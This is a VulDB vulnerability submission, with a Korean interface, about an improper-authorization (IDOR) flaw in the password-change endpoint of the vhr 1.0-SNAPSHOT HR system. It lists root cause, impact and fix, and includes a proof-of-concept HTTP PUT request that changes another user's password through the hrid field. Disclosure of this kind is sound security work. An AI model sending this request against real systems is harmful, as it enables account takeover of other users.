| 제목 | lenve vhr 1.0-SNAPSHOT Improper Authorization |
|---|
| 설명 | vhr(微人事) — IDOR in PUT /hr/pass (VHR-VULN-009)
Product: vhr(微人事) 1.0-SNAPSHOT
CWE: CWE-285
Classification: Improper Authorization
=== ROOT CAUSE ===
`HrInfoController.updatePass()` — no `hrid == currentUser.id` check.
=== REPRODUCTION ===
`hrid` parameter is not bound to session user; attacker changes any user's password if old password known.
PoC:
PUT /hr/pass HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
{"hrid":3,"oldpass":"123","pass":"IdorPoc456!"}
Expected: {"status":200,"msg":"更新成功!"}
=== IMPACT ===
Account takeover when default/weak passwords exist (chains with VHR-VULN-008).
=== FIX ===
Ignore client `hrid`; use authenticated principal id only.
|
|---|
| 원천 | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-009-password-change-idor.md |
|---|
| 사용자 | Anonymous User |
|---|
| 제출 | 2026. 07. 16. PM 01:49 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 12. AM 10:24 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 403087 [lenve vhr 1.0-SNAPSHOT Password Update /hr/pass HrInfoController.updatePass hrid 권한 상승] |
|---|
| 포인트들 | 20 |
|---|